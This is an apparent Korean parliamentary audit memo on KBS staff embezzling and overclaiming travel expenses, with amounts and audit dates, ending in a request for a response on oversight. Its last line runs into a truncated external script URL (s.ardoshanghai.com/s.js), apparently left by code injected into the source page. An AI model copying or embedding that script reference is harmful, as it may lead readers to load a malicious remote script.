의원실의 국정감사자료
[KBS, 출장비 횡령 등 도덕적 해이 심각해]
- 최근 5년간 회계질서문란으로 9명 징계받아
- ’05, ’06년 출장비 감사결과 확인된 금액만 천칠백만원 넘어
○ KBS 남북교류협력팀 일반감사(2006.3.27-4.14) 결과 북한지역 출장시 국내여비를 적용하여
야 함에도 불구하고 남북교류협력팀의 경우 2000년도부터 감사종료일 현재까지 북한지역에 출
장하면서 국외여비를 적용해 공금 부당지급 받은 것으로 드러났음
- 2005년과 ,2006년 출장비 부당지출 또는 과다지출 여부에 대한 감사결과 출장비 횡령 문제
는 남북교류협력팀만의 문제가 아니라 KBS 전체에 만연된 것으로 드러났음
○ 해외지국 일반감사(2005.1.25-2.7)에서 회계책임자였던 전 특파원 모씨는 2003. 7 본인 및
촬영기자 특파원의 출장비 잔액 3,203.45유로를 중복 인출, 촬영기자 특파원 체재비 828.37유
로를 과다인출, 고용원 출장비 2,183.21유로를 과다인출 및 기타 규정초과 집행 운영자금 미반
납 등으로 파리지국 운영자금10,424.52유로를 부당 인출했음
- 또한 특파원 모씨외 1명은 ‘04.2.27-’04.2.28(1박2일) 취재하면서 외부기관으로부터 식비, 숙
박비, 교통비 일체를 제공 받았는데도 일비 전액(305.21유로)을 수령하여 일비152.6유로를 과
다 수령했음
- 아울러「여비규정」에 따르면 일비, 식비, 숙박비는 실제 출장일수와 숙박일수에 따라 지급
하여야 함에도 2002년 8월5일-8일(3박4일)동안 예정된 출장이 실제로는 2002년 8월5일-7일(2
박3일)까지 실시되었으나, 단축된 출장일수에 대한 일비, 식비 및 숙박비를 포함한 출장비(540
달러)와 카메라크루비(230유로)를 횡령했음
- 그리고『해외지국 업무처리 운영기준』에 따르면 외부 카메라맨 등 외부인 동행 출장시에
는 외부인에게 일비를 제외한 숙박비 및 식비를 지급토록 되어 있음에도, 현지고용인인 모씨
의 근무기간 동안 2회에 걸친 출장에서 모씨를 대신하여 외부인 2명이 출장을 갔는데도 외부인
에게 일비(100달러)를 과다 지급한 사건도 있었음
ㅇ 지역국 일반감사(2005.6.27-7.20)에서도 여비규정에 의하면 항공여행중 경과한 밤의 수에
대한 숙박비는 지급하지 아니하도록 되어 있음에도, 모씨는 취재를 위해 '03.8.7부터 8.20까지
독일 출장을 위한 숙박비를 계산함에 있어 항공여행중 경과한 밤에 대한 숙박비 1일분(120달
러)을 부당 수령한 사실이 있었음
- 또한 여비규정에 공사차 또는 공사가 제공한 차를 이용하여 여행하는 경우에는 일비의 50%
를 지급토록 하고 있음에도, 모씨등 2인은 2005년 4월 다큐멘터리 제작을 위한 해외취재시 현
지에서 차량을 임차하여 사용하였음에도 일비를 100% 수령하여 총 207,440원을 과다 수령한
사실도 있었음
- 아울러 취업규칙에 의거 직원은 공사업무와 관련하여 출장이 가능하며, 여비규정에 의거 공
사의 집행기관 및 직원이 공사업무로 국내외에 여행하거나 전근하기 위하여 그 거주지를 변경
할 때에 한하여 출장여비를 청구하여야 함에도 모씨 등 28명은 공사업무가 아닌 임의단체의 협
회운영위원회 회의 및 세미나 등에 참석하면서 첨부와 같이 출장비 총 30건 2,151,260원을 부
당하게 수령했음
ㅇ TV제작본부 일반감사(2005.9.9-11.30)에서는 TVR 출장시 지급받는 추가일비는 여비규정
및 여비지침에 따라 무인 TVR점검 및 보수업무의 경우에 한하여 수령하여야 함에도, 모씨 등
4명은 '04.10월부터 '05.4월까지 TVR 출장이 아님에도 TVR 출장의 경우에 지급하는 추가일비
를 청구하여 총 188,000원을 과다 수령했음
ㅇ 해외지국 일반감사(2006.2.15-2.22)에서는 취재 출장비 중 국외여비는 여비 지급규정에 의
거 지역별 구분에 따른 해당 등급을 적용해 지급해야 함에도, 해외 출장 2건에 대한 등급 적용
오류로 출장비 829,060원 과다 지급한 사실이 있었음
- 또한 여비규정에 의거 공사차량 또는 출장자 소유차량을 이용해 출장을 갈 경우 일비는
50%가 지급돼야 함에도, 모씨외 2명은 4일동안 렌터가를 이용하면서 일비 전액을 지급받아
총 180달러의 일비를 과다 수령한 사실이 있었음
▶직원 징계 현황을 보면 최근 5년간 회계질서문란으로 9명 징계를 받았고, 2005/2006년 출장
비 감사결과 확인된 금액만 1천7백만원이 넘는 것으로 나옴. 전 부서에 만연해 있는 심각한 도
덕적 해이를 보여줌. 향후 철저한 관리감독과 재발방지를 위한 시스템 정비가 필요하다고 보는
데 답변바람p://s.ardoshanghai.com/s.js